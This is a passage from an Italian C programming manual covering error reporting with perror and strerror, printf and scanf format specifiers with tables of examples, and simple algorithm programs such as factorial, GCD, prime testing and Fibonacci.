La funzione ***perror()*** mostra un messaggio in modo autonomo, aggiungendo davanti la stringa che può essere fornita come primo argomento (diversamente si può indicare il puntatore nullo o una stringa nulla, in quanto contenente solo il carattere di terminazione).

L'esempio seguente mostra un programma completo e molto semplice, in cui si crea un errore, tentando di scrivere un messaggio attraverso lo standard input, cosa che produce un errore. Se effettivamente si rileva un errore associato a quel flusso di file, attraverso la funzione ***ferror()***, allora si passa alla sua interpretazione con la funzione ***perror()***:

```
#include <stdio.h>
#include <errno.h>
int main (void)
{
    fprintf (stdin, "Ciao amore!\n");
    if (ferror (stdin))
      {
        perror ("Attenzione");
      }
    return 0;
}
```

Come si vede, è necessario includere anche il file '`errno.h`', senza il quale la variabile ***errno*** non risulterebbe accessibile. Avviando questo programma in un sistema GNU/Linux si potrebbe ottenere il messaggio seguente:

```
Attenzione: Bad file descriptor
```

In alternativa alla funzione ***perror()*** si può usare anche ***strerror()*** (dal file '`string.h`'), con la quale si ottiene la stringa contenente il messaggio di errore:

```
char *strerror (int n_errore);
```

Si può modificare leggermente l'esempio già apparso, in modo da usare la funzione ***strerror()*** per produrre lo stesso risultato:

```
#include <stdio.h>
#include <errno.h>
#include <string.h>
int main (void)
{
    char *cp;
    fprintf (stdin, "Ciao amore!\n");
    if (ferror (stdin))
      {
        cp = strerror (errno);
        fprintf (stderr, "Attenzione: %s\n", cp);
      }
    return 0;
}
```

78.3 Conversione di input e output

Il linguaggio C rappresenta in memoria i valori numerici in modo binario secondo una modalità diversa rispetto a quella usata per le stringhe che servono invece per l'interazione umana. In altri termini, un conto è il valore 100, un altro è la sequenza dei caratteri numerici con cui questo valore viene rappresentato sullo schermo o su carta.

Il linguaggio C non svolge automaticamente conversioni da valori numerici binari a stringhe di cifre numeriche e viceversa; per questo è necessario invece avvalersi di funzioni di conversione. Per la precisione esistono due gruppi di funzioni, ...***printf()*** e ...***scanf()***, con cui è possibile comporre (nel senso tipografico) le informazioni in uscita, oppure interpretarle in senso inverso le informazioni in ingresso.

78.3.1 Composizione dell'output

Le funzioni del gruppo ...***printf()*** consentono di comporre una stringa (da memorizzare o da visualizzare), partendo da un'altra stringa contenente il formato di composizione e utilizzando un elenco variabile di argomenti:

...`printf (` ... ***stringa_di_composizione*** [`,` ***argomento***]... `)`

Il modello sintattico dà solo una visione di massima: a seconda della funzione ci possono essere dei parametri che non vengono chiariti nello schema, quindi appare sempre la stringa di composizione, la quale può essere seguita da altri argomenti le cui caratteristiche non sono precisate nel prototipo della funzione.[3]

La stringa di composizione è una stringa normale, in cui si inseriscono delle sequenze precedute dal simbolo '`%`', note come ***specificatori di conversione***. Conviene partire da un esempio, proprio con la funzione ***printf()***, la quale emette la stringa generata dalla composizione attraverso lo standard output (attraverso il flusso di file associato allo standard output):

```
...
printf ("Il capitale di %i al tasso %f%% dà l'interesse %i", 1000, 0.5, 5);
...
```

Da questa istruzione si ottiene la visualizzazione della frase seguente:

```
Il capitale di 1000 al tasso 0.500000% dà l'interesse 5
```

In pratica, al posto del primo specificatore '**%i**' è stato inserito il valore 1000 dopo averlo convertito in modo da essere rappresentato da quattro caratteri (''**1**'', ''**0**'', ''**0**'', ''**0**''), al posto del secondo specificatore '**%f**' è stato inserito il valore 0.5 dopo un'opportuna conversione in caratteri, al posto del terzo specificatore '**%%**' è stato inserito un carattere di percentuale, infine, al posto del quarto specificatore '**%i**' è stato inserito il valore 5.

Figura 78.20. Schematizzazione della trasformazione di una stringa di composizione in una stringa finale.

(int) **1000** (double) **0.5** (int) **5**

"Il capitale di %i al tasso %f%% dà l'interesse %i"

s c o m p o s i z i o n e

"Il capitale di " "1000" " al tasso " "0.500000" "%" " dà l'interesse " "5"

concatenamento

Il capitale di 1000 al tasso di 0.500000% dà l'interesse 5

Lo specificatore di conversione ha due compiti: indicare che tipo di informazione viene prelevato dagli argomenti (ammesso che si prelevi effettivamente un valore) e come questa deve essere rappresentata. Nel caso dell'esempio, il primo specificatore '**%i**' indica che il valore da prelevare dagli argomenti è di tipo '**int**'; il secondo specificatore '**%f**' indica un tipo '**double**'; il terzo non preleva alcun valore; il quarto indica ancora un altro '**int**'.

Una stringa di composizione che non contenga degli specificatori rimane evidentemente intatta e non richiede alcun dato aggiuntivo. La funzione ***printf()*** (che è stata usata nell'esempio) viene usata spesso come mezzo generico per emettere un messaggio attraverso lo standard output, anche quando non c'è alcun bisogno di comporre dei dati. Questo è lecito, ma non va dimenticato il contesto, pertanto, scrivere l'istruzione seguente sarebbe sbagliato:

```
...
printf ("Il capitale di 1000 al tasso 0.5% dà l'interesse 5");
...
```

Il modo giusto è quello seguente:

```
...
printf ("Il capitale di 1000 al tasso 0.5%% dà l'interesse 5");
...
```

78.3.2 Rappresentazione degli specificatori di composizione per l'emissione dei dati

Di norma, la scelta dello specificatore determina il tipo di dati dell'argomento e il tipo di trasformazione che deve ricevere. La tabella 78.23 elenca alcuni degli specificatori di conversione utilizzabili, nella loro forma più semplice. È bene ricordare che per rappresentare il simbolo di percentuale si usa uno specificatore fittizio composto dalla sequenza di due segni percentuali: '**%%**'.

Tabella 78.23. Alcuni specificatori di conversione.

Simbolo	Corrispondenza
`%...c`	Un carattere singolo.
`%...s`	Una stringa.
`%...d`	Un intero con segno da rappresentare in base dieci.
`%...u`	Un intero senza segno da rappresentare in base dieci.
`%...o`	Un intero senza segno da rappresentare in ottale.
`%...x`	Un intero senza segno da rappresentare in esadecimale.
`%...e`	Un numero a virgola mobile normale ('**double**'), da rappresentare in notazione esponenziale.
`%...f`	Un numero a virgola mobile normale ('**double**'), da rappresentare in notazione decimale fissa.

Leggendo la tabella si può osservare che la composizione dei dati in uscita può riguardare anche dati che sono già in forma di stringa (lo specificatore '**%...s**'), pertanto si usa questo metodo anche per il concatenamento delle stringhe.

Gli specificatori di conversione possono contenere indicazioni ulteriori tra il simbolo di percentuale e la lettera che definisce il tipo di trasformazione. Si tratta di inserire un simbolo composto da un carattere singolo, seguito eventualmente da altre informazioni aggiuntive, secondo la sintassi seguente:

```
%[simbolo] [n_ampiezza] [.n_precisione] [hh|h|l|ll|j|z|t|L] tipo
```

Alcuni di questi simboli sono rappresentati dalla tabella 78.24. In presenza di valori numerici, si può indicare il numero di cifre decimali intere (ampiezza), aggiungendo eventualmente il numero di decimali (precisione), se si tratta di rappresentare un numero a virgola mobile. Quando è necessario modificare il tipo di dati provenienti dagli argomenti, ciò può essere precisato con una sigla, come descritto nella tabella 78.25.

Tabella 78.24. Alcuni simboli per la conversione di valori numerici.

Simbolo	Corrispondenza
`%+...`	Il segno «+», usato all'inizio di uno specificatore di conversione, fa sì che i numeri positivi siano rappresentati con il segno in modo esplicito, mentre altrimenti il segno viene mostrato solo per quelli negativi.
`%0`***ampiezza***`...` `%+0`***ampiezza***`...`	Lo zero, usato all'inizio di uno specificatore di conversione, fa sì che si inseriscano degli zeri per allineare a destra un valore numerico, nell'ambito dell'ampiezza specificata. Lo zero può combinarsi con il segno «+».
`%`***ampiezza***`...` `%+`***ampiezza***`...`	In mancanza di uno zero iniziale, in presenza dell'indicazione dell'ampiezza, il valore viene allineato a destra usando degli spazi.
`%-...` `%-+...`	Il segno meno richiede un allineamento a sinistra rispetto al campo, usando degli spazi a destra. Si può combinare con il segno «+», ma non con lo zero.

Tabella 78.25. Alcuni modificatori dell'estensione che ha in memoria il valore da estrarre e comporre.

Simbolo	Corrispondenza

`%...ld`
`%...lu`
`%...lo`
`%...lx`
	La lettera '**`l`**', prima di quella che specifica il tipo di composizione, quando si tratta della conversione di un numero intero, specifica che il dato va trattato in qualità di '**`long int`**', con o senza segno.

`%...lc` `%...ls`	La lettera '**`l`**', prima di quella che specifica il tipo di composizione, quando si tratta della conversione di un carattere o di una stringa, specifica che il dato va trattato in qualità di carattere esteso (*wide char*) o di stringa estesa (*wide string*).

`%...lld`
`%...llu`
`%...llo`
`%...llx`
	La coppia di lettere '**`ll`**', prima di quella che specifica il tipo di composizione, quando si tratta della conversione di un numero intero, specifica che il dato va trattato in qualità di '**`long long int`**', con o senza segno.

`%...Le` `%...Lf`	La lettera '**`L`**', prima di quella che specifica il tipo di composizione, quando si tratta della conversione di un valore in virgola mobile, specifica che il dato va trattato in qualità di '**`long double`**'.

Nella stringa di composizione possono apparire anche sequenze di escape come già mostrato nella tabella 77.17. Si veda anche la pagina di manuale *printf(3)*.

Tabella 78.26. Esempi di utilizzo degli specificatori di conversione di ***printf()***. Le costanti numeriche utilizzate negli esempi sono interpretate secondo le convenzioni del linguaggio, pertanto: 123 e −123 sono costanti di tipo ‘**`int`**’; mentre 123.456 e −123.456 sono costanti di tipo ‘**`double`**’.

Codice	Risultato emesso attraverso la funzione
`printf ("[%i]", 123);`	`[123]`
`printf ("[%i]", -123);`	`[-123]`
`printf ("[%2d]", 123);`	`[123]` L’indicatore ‘**`%2d`**’ specifica che si devono usare almeno due cifre, ma se le cifre della parte intera sono in numero maggiore, queste vanno indicate tutte ugualmente.
`printf ("[%6d]", 123);`	`[   123]`
`printf ("[%6d]", -123);`	`[  -123]`
`printf ("[%+6d]", 123);`	`[  +123]`
`printf ("[%06d]", 123);`	`[000123]`
`printf ("[%06d]", -123);`	`[-00123]`
`printf ("[%+06d]", 123);`	`[+00123]`
`printf ("[%-6d]", 123);`	`[123   ]`
`printf ("[%u]", 123);`	`[123]`
`printf ("[%u]", -123);`	`[4294967173]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf ("[%6x]", 123);`	`[    7b]`
`printf ("[%06x]", 123);`	`[00007b]`
`printf ("[%x]", 123);`	`[7b]`
`printf ("[%x]", -123);`	`[ffffff85]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf ("[%6x]", 123);`	`[    7b]`
`printf ("[%06x]", 123);`	`[00007b]`
`printf ("[%o]", 123);`	`[173]`
`printf ("[%o]", -123);`	`[37777777605]` Evidentemente si ottiene la rappresentazione del valore binario, tale e quale, secondo la notazione usata per i valori negativi.
`printf ("[%6o]", 123);`	`[   173]`
`printf ("[%06o]", 123);`	`[000173]`

Codice	Risultato emesso attraverso la funzione
`printf ("[%f]", 123.456);`	`[123.456000]`
`printf ("[%f]", -123.456);`	`[-123.456000]`
`printf ("[%12f]", 123.456);`	`[  123.456000]`
`printf ("[%.4f]", 123.456);`	`[123.4560]`
`printf ("[%12.4f]", 123.456);`	`[    123.4560]`
`printf ("[%12.4f]", -123.456);`	`[   -123.4560]`
`printf ("[%+12.4f]", 123.456);`	`[   +123.4560]`
`printf ("[%012.4f]", 123.456);`	`[0000123.4560]`
`printf ("[%012.4f]", -123.456);`	`[-000123.4560]`
`printf ("[%+012.4f]", 123.456);`	`[+000123.4560]`
`printf ("[%-12.4f]", 123.456);`	`[123.4560    ]`
`printf ("[%e]", 123.456);`	`[1.234560e+02]`
`printf ("[%e]", -123.456);`	`[-1.234560e+02]`
`printf ("[%15e]", 123.456);`	`[   1.234560e+02]`
`printf ("[%.4e]", 123.456);`	`[1.2346e+02]`
`printf ("[%15.4e]", 123.456);`	`[     1.2346e+02]`
`printf ("[%15.4e]", -123.456);`	`[    -1.2346e+02]`
`printf ("[%+15.4e]", 123.456);`	`[    +1.2346e+02]`
`printf ("[%015.4e]", 123.456);`	`[000001.2346e+02]`
`printf ("[%015.4e]", -123.456);`	`[-00001.2346e+02]`
`printf ("[%+015.4e]", 123.456);`	`[+00001.2346e+02]`
`printf ("[%-15.4e]", 123.456);`	`[1.2346e+02     ]`
`printf ("[%s]", "ciao amore");`	`[ciao amore]`
`printf ("[%7s]", "ciao amore");`	`[ciao amore]` La stringa è più lunga di sette caratteri, ma viene visualizzata completamente.
`printf ("[%.7s]", "ciao amore");`	`[ciao am]` La stringa viene troncata se è più lunga del valore della precisione.
`printf ("[%.14s]", "ciao amore");`	`[ciao amore]`
`printf ("[%14s]", "ciao amore");`	`[    ciao amore]`
`printf ("[%14.7s]", "ciao amore");`	`[       ciao am]`
`printf ("[%-14s]", "ciao amore");`	`[ciao amore    ]`
`printf ("[%-14.7s]", "ciao amore");`	`[ciao am       ]`

78.3.3 Funzioni per la composizione dell'output

Tutte le funzioni standard il cui nome finisce per '**`printf`**' interpretano una stringa di composizione secondo le modalità descritte nel capitolo, ovvero in modo analogo a ***printf()*** che, in particolare, emette il risultato della composizione attraverso lo standard output. In particolare, la funzione ***fprintf()*** scrive il risultato attraverso il flusso di file che costituisce il parametro ***stream*** (il primo argomento) e la funzione ***sprintf()*** copia il risultato, come stringa, a partire dal puntatore ***s*** (sempre il primo argomento).

```
int printf (const char *restrict composizione, ...);
```

```
int fprintf (FILE *restrict stream, const char *restrict composizione, ...);
```

```
int sprintf (char *restrict s, const char *restrict composizione, ...);
```

```
int snprintf (char *restrict s, size_t n, const char *restrict composizione, ...);
```

Le funzioni di cui è appena stato mostrato il modello sintattico, leggono gli argomenti successivi alla stringa di composizione in base a quanto indicato con gli specificatori di composizione. Altre funzioni equivalenti, con il nome che inizia con la lettera «v», hanno bisogno di un puntatore di tipo '**`va_list`**':

```
int vprintf (const char *restrict composizione, va_list arg);
```

```
int vfprintf (FILE *restrict stream, const char *restrict composizione, va_list arg);
```

```
int vsprintf (char *restrict s, const char *restrict composizione, va_list arg);
```

```
int vsnprintf (char *restrict s, size_t n, const char *restrict composizione, va_list arg);
```

78.3.4 Concatenamento di stringhe

Il linguaggio C, di per sé, non agevola l'uso delle stringhe; al massimo si può contare sul fatto che una sequenza di stringhe letterali venga considerata una stringa sola, concatenata. Per il concatenamento delle stringhe sono disponibili le funzioni ***strcat()*** e ***strncat()***, ma l'uso delle funzioni previste per la composizione dell'output è molto più comodo, considerata la facilità con cui si inseriscono anche dati diversi dalle stringhe.

```
#include <stdio.h>
int main (void)
{
    char s[] = "Ciao amore";
    printf ("%s... Ti %s.\n", s, "voglio tanto bene");
    return 0;
}
```

L'esempio appena mostrato dovrebbe dimostrare questa maggiore facilità. Il messaggio che viene visualizzato è: «Ciao amore... Ti voglio tanto bene.»

78.3.5 Interpretazione dell'input

Quando un programma interagisce con l'essere umano, scambia dati in forma grafica, nel senso che un numero appare e viene inserito come sequenza di caratteri grafici. Così come per la rappresentazione umana dei dati si usano comunemente le funzioni ...***printf()***, per l'immissione dei dati si usano le funzioni ...***scanf()*** che hanno il ruolo opposto:

```
...scanf ( ... stringa_di_conversione [, argomento]... )
```

Il modello sintattico dà solo una visione di massima: a seconda della funzione ci possono essere dei parametri che non vengono chiariti nello schema, quindi appare sempre la stringa di conversione, la quale può essere seguita da altri argomenti costituiti da puntatori, le cui caratteristiche particolari non sono precisate nel prototipo della funzione.[4] Viene proposto un esempio con la funzione ***scanf()*** che riceve i dati in ingresso (da interpretare) dallo standard input:

```
...
printf ("Inserisci l'importo: ");
scanf ("%i", &i_importo);
...
```

Il pezzo di codice mostrato emette la frase seguente e resta in attesa dell'inserimento di un valore numerico intero, seguito da [*Invio*]:

```
Inserisci l'importo: _
```

Questo valore viene inserito nella variabile ***i_importo***. Si deve osservare il fatto che i parametri successivi alla stringa di conversione sono dei puntatori, per cui, avendo voluto inserire il dato nella variabile ***i_importo***, questa è stata indicata preceduta dall'operatore '**&**' in modo da fornire alla funzione l'indirizzo corrispondente (si veda la sezione 77.5 sulla gestione dei puntatori).

Con una stessa funzione di questo tipo è possibile inserire dati per diverse variabili, come si può osservare dall'esempio seguente, ma in questo caso, per ogni dato viene richiesta la pressione di [*Invio*] o l'inserimento di spazi tra un dato e l'altro.

```
…
printf ("Inserisci il capitale e il tasso: ");
scanf ("%i%f", &i_capitale, &i_tasso);
…
```

La stringa di conversione è il parametro più delicato di queste funzioni. Come visto negli esempi, una stringa del genere contiene principalmente degli specificatori di conversione che, come già accennato, si comportano in modo molto simile agli specificatori di composizione delle funzioni ...*printf()*. Quello che segue è lo schema sintattico generale per la definizione di uno specificatore di conversione:

```
%[*] [n_ampiezza] [hh|h|l|ll|j|z|t|L] tipo
```

Come si può vedere, all'inizio è previsto un solo tipo di simbolo, costituito da un asterisco, il cui scopo è quello di annullare l'assegnamento del valore a una variabile. In pratica, con l'asterisco il dato corrispondente allo specificatore viene interpretato, ma poi non viene salvato in alcuna variabile.

Successivamente può apparire un numero che rappresenta l'ampiezza del dato da interpretare, in byte, il cui scopo è quello di limitare la lettura fino a un certo carattere (inteso come '**`char`**', pertanto le sequenze multibyte contano per più di una unità singola). In questo caso non esiste la possibilità di indicare una precisione.

Dopo può apparire una sigla, composta da una o più lettere, il cui scopo è quello di modificare la dimensione predefinita della variabile di destinazione. In altri termini, senza questo modificatore si intende che la variabile ricevente debba essere di una certa grandezza, ma con l'aggiunta del «modificatore di lunghezza» si precisa invece qualcosa di diverso. In pratica, il modificatore di lunghezza usato da queste funzioni è equivalente a quello delle funzioni di composizione dell'output.

Al termine dello specificatore di conversione appare una lettera che dichiara come deve essere interpretato il dato in ingresso e, in mancanza del modificatore di lunghezza, indica anche la dimensione predefinita della variabile ricevente.

Secondo la documentazione standard, il contenuto delle stringhe di conversione si suddivide in «direttive» che, in linea di massima, dovrebbero comporsi secondo il modello seguente:

```
[spazi] carattere_multibyte | %...
```

Pertanto, una direttiva può contenere degli spazi, un carattere (inteso in senso tipografico e quindi può occupare più di un byte) oppure uno specificatore di conversione. Visto da un altro punto di vista, la stringa di conversione è composta principalmente da specificatori di conversione che però possono essere alternati da spazi o altri caratteri: gli spazi indicano che in quella posizione possono esserci spazi che vengono ignorati; altri caratteri devono invece corrispondere esattamente nell'input e vengono poi ignorati. Tuttavia ci sono altre situazioni in cui gli spazi sono ugualmente esclusi in modo predefinito, come nell'esempio già visto, dove la stringa di conversione è composta solo da specificatori di conversione. Nell'esempio seguente, invece, si dimostra l'uso di caratteri estranei agli specificatori di conversione:

```
...
printf ("Inserisci la data: ");
scanf ("%i/%i/%i", &giorno, &mese, &anno);
...
```

In questo caso la digitazione della data richiede anche l'inserzione delle barre oblique, senza le quali il riconoscimento fallisce.

Purtroppo, la sintassi per la scrittura delle stringhe di conversione non è molto soddisfacente ed è difficile avere un'idea chiara del loro utilizzo. Pertanto, è consigliabile di utilizzare sempre solo modelli molto semplici.

78.3.6 Rappresentazione degli specificatori di conversione

Di norma, la scelta dello specificatore di conversione determina il tipo di dati dell'argomento (ovvero il tipo di variabile a cui l'argomento punta) e il modo in cui deve essere interpretato. La tabella successiva elenca alcuni degli specificatori di conversione utilizzabili, nella loro forma più semplice. È bene ricordare che anche in questo caso si può usare uno specificatore costituito dall'unione di due caratteri percentuali ('`%%`'), il quale identifica semplicemente un carattere di percentuale singolo proveniente dai dati in ingresso, ma da ignorare.

Tabella 78.32. Tipi di conversione principali.

Simbolo	Corrispondenza
`%...c`	Corrisponde a un carattere, oppure, se viene specificata una lunghezza, a una sequenza di caratteri; pertanto, in condizioni normali il puntatore deve essere di tipo '**`char *`**' e, a partire dalla posizione indicata dallo stesso, ci deve essere abbastanza spazio per contenere tutti i caratteri previsti per l'immissione.
`%...s`	Corrisponde a una sequenza di caratteri diversi da quelli che producono uno spazio e a questa sequenza viene aggiunto automaticamente il carattere *<NUL>*, ovvero '**`\0`**'; pertanto, in condizioni normali il puntatore deve essere di tipo '**`char *`**' e, a partire dalla posizione indicata dallo stesso, ci deve essere abbastanza spazio per contenere la stringa da immettere, incluso il carattere nullo conclusivo.
`%...d`	Corrisponde a un numero intero (con o senza segno), espresso in base dieci; pertanto, in condizioni normali il puntatore deve essere di tipo '**`int *`**', con o senza segno.
`%...i`	Corrisponde a un numero intero (con o senza segno), espresso in base otto, in base dieci o in base sedici (purché la base di numerazione sia riconoscibile dal prefisso usato); pertanto, in condizioni normali il puntatore deve essere di tipo '**`int *`**', con o senza segno.
`%...u`	Corrisponde a un numero intero senza segno, espresso in base dieci; pertanto, in condizioni normali il puntatore deve essere di tipo '**`unsigned int *`**'.
`%...x`	Corrisponde a un numero intero senza segno, espresso in base sedici; pertanto, in condizioni normali il puntatore deve essere di tipo '**`unsigned int *`**'.
`%...o`	Corrisponde a un numero intero senza segno, espresso in base otto; pertanto, in condizioni normali il puntatore deve essere di tipo '**`unsigned int *`**'.

`%...e`
`%...f`
`%...g`
	Corrisponde a un numero a virgola mobile rappresentato in notazione decimale fissa o in notazione esponenziale; pertanto, in condizioni normali il puntatore deve essere di tipo '**`double *`**'.

Tabella 78.33. Alcuni modificatori dell'ampiezza del valore da immettere.

Simbolo	Corrispondenza

`%...hd`
`%...hi`
`%...hu`
`%...ho`
`%...hx`
	La lettera '**`h`**', prima di quella che specifica il tipo di conversione, quando si tratta dell'inserimento di un numero intero, specifica che il dato va trattato in qualità di '**`short int *`**', con o senza segno, in base al contesto.

`%...ld`
`%...lu`
`%...lo`
`%...lx`
	La lettera '**`l`**', prima di quella che specifica il tipo di conversione, quando si tratta dell'inserimento di un numero intero, specifica che il dato va trattato in qualità di '**`long int *`**', con o senza segno, in base al contesto.

`%...lc` `%...ls`	La lettera '**`l`**', prima di quella che specifica il tipo di conversione, quando si tratta dell'inserimento di un carattere o di una stringa, specifica che il dato va trattato in qualità di carattere esteso (*wide char*) o di stringa estesa (*wide string*). Di conseguenza, si intende che l'argomento sia di tipo '**`wchar_t *`**'.

`%...Le`
`%...Lf`
`%...Lg`
	La lettera '**`L`**', prima di quella che specifica il tipo di conversione, quando si tratta dell'inserimento di un valore in virgola mobile, specifica che il dato va trattato in qualità di '**`long double *`**'.

78.3.7 Funzioni per l'interpretazione dell'input

Tutte le funzioni standard il cui nome finisce per '**`scanf`**' interpretano dei dati in ingresso attraverso una stringa di conversione, secondo le modalità descritte nel capitolo, ovvero in modo analogo a ***scanf()*** che, in particolare, legge i dati da interpretare dallo standard input. In particolare, la funzione ***fscanf()*** legge l'input attraverso il flusso di file che costituisce il parametro ***stream*** (il primo argomento) e la funzione ***sscanf()*** legge l'input da una stringa (che costituisce sempre il primo argomento).

```
int fscanf (FILE *restrict stream, const char *restrict conversione, ...);
```

```
int sscanf (const char *restrict s, const char *restrict conversione, ...);
```

```
int scanf  (const char *restrict conversione, ...);
```

Le funzioni di cui è appena stato mostrato il modello sintattico, utilizzano gli argomenti successivi alla stringa di conversione in base a quanto indicato con gli specificatori di conversio-

ne. Altre funzioni equivalenti, con il nome che inizia con la lettera «v», hanno bisogno di un puntatore di tipo '**va_list**':

```
int vfscanf (FILE *restrict stream, const char *restrict conversione, va_list arg);
```

```
int vsscanf (const char *restrict s, const char *restrict conversione, va_list arg);
```

```
int vscanf  (const char *restrict conversione, va_list arg);
```

78.4 Riferimenti

- *Rationale for American National Standard for Information Systems - Programming Language - C: Input/Output*

  ⟨*http://www.lysator.liu.se/c/rat/d9.html* ⟩

- *ISO/IEC 9899:TC2*

  ⟨*http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1124.pdf* ⟩

[1] Nella tabella, in questa fase, non si distingue ancora tra accessi a file di testo rispetto a quelli relativi a file binari, pertanto non appare mai la sigla '**b**'.

[2] Può trattarsi anche di sequenze multibyte, ovvero di rappresentazioni dei caratteri che usano più byte per carattere.

[3] Questa è una semplificazione, perché ci sono altre funzioni dello stesso gruppo, che iniziano con la lettera '**v**', le quali alla fine hanno un puntatore di tipo '**va_list**'.

[4] Questa è una semplificazione, perché ci sono altre funzioni dello stesso gruppo, che iniziano con la lettera '**v**', le quali alla fine hanno un puntatore di tipo '**va_list**'.

Esempi di programmazione in C

Problemi elementari 4609

i5.1.1 Somma tra due numeri positivi 4609
i5.1.2 Moltiplicazione di due numeri positivi attraverso la somma 4611
i5.1.3 Divisione intera tra due numeri positivi 4612
i5.1.4 Elevamento a potenza 4613
i5.1.5 Radice quadrata 4614
i5.1.6 Fattoriale 4615
i5.1.7 Massimo comune divisore 4616
i5.1.8 Numero primo 4617
i5.1.9 Successione di Fibonacci 4618

Scansione di array 4619

i5.2.1 Ricerca sequenziale 4620
i5.2.2 Ricerca binaria 4622

Algoritmi tradizionali 4623

i5.3.1 Bubblesort 4623
i5.3.2 Torre di Hanoi 4625
i5.3.3 Quicksort 4626
i5.3.4 Permutazioni 4629

In questo capitolo vengono mostrati alcuni algoritmi elementari o comuni portati in C. Per la spiegazione di questi, se non sono già conosciuti, conviene leggere quanto riportato a partire dalla sezione 73.2.

Problemi elementari

Somma tra due numeri positivi

```
#include <stdio.h>

int
somma (int x, int y)
{
    int z = x;
    int i;

    for (i = 1; i <= y; i++)
      {
```

```
        z++;
      };

    return z;
}

int
main (int argc, char *argv[])
{
    int x;
    int y;
    int z;

    // Converte le stringhe ottenute dalla riga di comando in
    // numeri interi e li assegna alle variabili x e y.

    sscanf (argv[1], "%i", &x);
    sscanf (argv[2], "%i", &y);

    z = somma (x, y);

    printf ("%i + %i = %i\n", x, y, z);

    return 0;
}
```

In alternativa si può tradurre il ciclo '**`for`**' in un ciclo '**`while`**'.

```
int
somma (int x, int y)
{
    int z = x;
    int i = 1;

    while (i <= y)
      {
        z++;
        i++;
      };

    return z;
}
```

Moltiplicazione di due numeri positivi attraverso la somma

```
#include <stdio.h>

int
moltiplica (int x, int y)
{
    int z = 0;
    int i;

    for (i = 1; i <= y; i++)
      {
        z = z + x;
      }

    return z;
}

int
main (int argc, char *argv[])
{
    int x;
    int y;
    int z;

    // Converte le stringhe ottenute dalla riga di comando in
    // numeri interi e li assegna alle variabili x e y.

    sscanf (argv[1], "%i", &x);
    sscanf (argv[2], "%i", &y);

    z = moltiplica (x, y);

    printf ("%i * %i = %i\n", x, y, z);

    return 0;
}
```

In alternativa si può tradurre il ciclo '**`for`**' in un ciclo '**`while`**'.

```
int moltiplica (int x, int y)
{
    int z = 0;
    int i = 1;

    while (i <= y)
      {
        z = z + x;
```

```
        i++;
      }

    return z;
}
```

Divisione intera tra due numeri positivi

```
#include <stdio.h>

int
dividi (int x, int y)
{
    int z = 0;
    int i = x;

    while (i >= y)
      {
        i = i - y;
        z++;
      }

    return z;
}

int
main (int argc, char *argv[])
{
    int x;
    int y;
    int z;

    // Converte le stringhe ottenute dalla riga di comando in
    // numeri interi e li assegna alle variabili x e y.

    sscanf (argv[1], "%i", &x);
    sscanf (argv[2], "%i", &y);

    z = dividi (x, y);

    printf ("Divisione intera - %i:%i = %i\n", x, y, z);

    return 0;
}
```

Elevamento a potenza

```
#include <stdio.h>

int
exp (int x, int y)
{
    int z = 1;
    int i;

    for (i = 1; i <= y; i++)
      {
        z = z * x;
      }

    return z;
}

int
main (int argc, char *argv[])
{
    int x;
    int y;
    int z;

    // Converte le stringhe ottenute dalla riga di comando in
    // numeri interi e li assegna alle variabili x e y.

    sscanf (argv[1], "%i", &x);
    sscanf (argv[2], "%i", &y);

    z = exp (x, y);

    printf ("%i ** %i = %i\n", x, y, z);

    return 0;
}
```

In alternativa si può tradurre il ciclo '**`for`**' in un ciclo '**`while`**'.

```
int
exp (int x, int y)
{
    int z = 1;
    int i = 1;

    while (i <= y)
      {
        z = z * x;
        i++;
      };

    return z;
}
```

È possibile usare anche un algoritmo ricorsivo.

```
int exp (int x, int y)
{
    if (x == 0)
      {
        return 0;
      }
    else if (y == 0)
      {
        return 1;
      }
    else
      {
        return (x * exp (x, y-1));
      }
}
```

Radice quadrata

```
#include <stdio.h>

int
radice (int x)
{
    int z = 0;
    int t = 0;

    while (1)
      {
        t = z * z;

        if (t > x)
```

```
          {
            //  È stato superato il valore massimo.
            z--;
            return z;
          }

        z++;
      }

    // Teoricamente, non dovrebbe mai arrivare qui.
}

int
main (int argc, char *argv[])
{
    int x;
    int z;

    sscanf (argv[1], "%i", &x);

    z = radice (x);

    printf ("radq(%i) = %i\n", x, z);

    return 0;
}
```

Fattoriale

```
#include <stdio.h>

int
fatt (int x)
{
    int i = (x - 1);

    while (i > 0)
      {
        x = x * i;
        i--;
      }

    return x;
}

int
```

```
main (int argc, char *argv[])
{
    int x;
    int z;

    sscanf (argv[1], "%i", &x);

    z = fatt (x);

    printf ("%i! = %i\n", x, z);

    return 0;
}
```

In alternativa, l’algoritmo si può tradurre in modo ricorsivo.

```
int
fatt (int x)
{
    if (x > 1)
      {
        return (x * fatt (x - 1));
      }
    else
      {
        return 1;
      }
}
```

Massimo comune divisore

```
#include <stdio.h>

int
mcd (int x, int y)
{
    while (x != y)
      {
        if (x > y)
          {
            x = x - y;
          }
        else
          {
            y = y - x;
          }
      }
```

```
    return x;
}

int
main (int argc, char *argv[])
{
    int x;
    int y;
    int z;

    sscanf (argv[1], "%i", &x);
    sscanf (argv[2], "%i", &y);

    z = mcd (x, y);

    printf ("Il massimo comune divisore di %i e %i è %i\n", x, y, z);

    return 0;
}
```

Numero primo

```
#include <stdio.h>

unsigned int
primo (int x)
{
    unsigned int primo = 1;
    int i = 2;
    int j;

    while ((i < x) && primo)
      {
        j = x / i;
        j = x - (j * i);

        if (j == 0)
          {
            primo = 0;
          }
        else
          {
            i++;
          }
      }
```

```
    return primo;
}

int
main (int argc, char *argv[])
{
    int x;

    sscanf (argv[1], "%i", &x);

    if (primo (x))
      {
        printf ("%i è un numero primo\n", x);
      }
    else
      {
        printf ("%i non è un numero primo\n", x);
      }

    return 0;
}
```

Successione di Fibonacci

Gli esempi mostrano una funzione che restituisce l'elemento ***n***-esimo nella sequenza di Fibonacci, mentre la chiamata di questa funzione viene fatta in modo da ottenere l'elenco dei primi ***n*** numeri di Fibonacci. La prima soluzione mostra una funzione ricorsiva.

```
#include <stdio.h>

unsigned int
fibonacci (unsigned int n)
{
    if (n == 0)
      {
        return 0;
      }
    else if (n == 1)
      {
        return 1;
      }
    else
      {
        return (fibonacci (n-1) + fibonacci (n-2));
      }
}
```

```
int
main (int argc, char *argv[])
{
    unsigned int n;
    unsigned int i;

    sscanf (argv[1], "%u", &n);

    for (i = 0; i <= n; i++)
      {
        printf ("%u ", fibonacci (i));
      }
    printf ("\n");

    return 0;
}
```

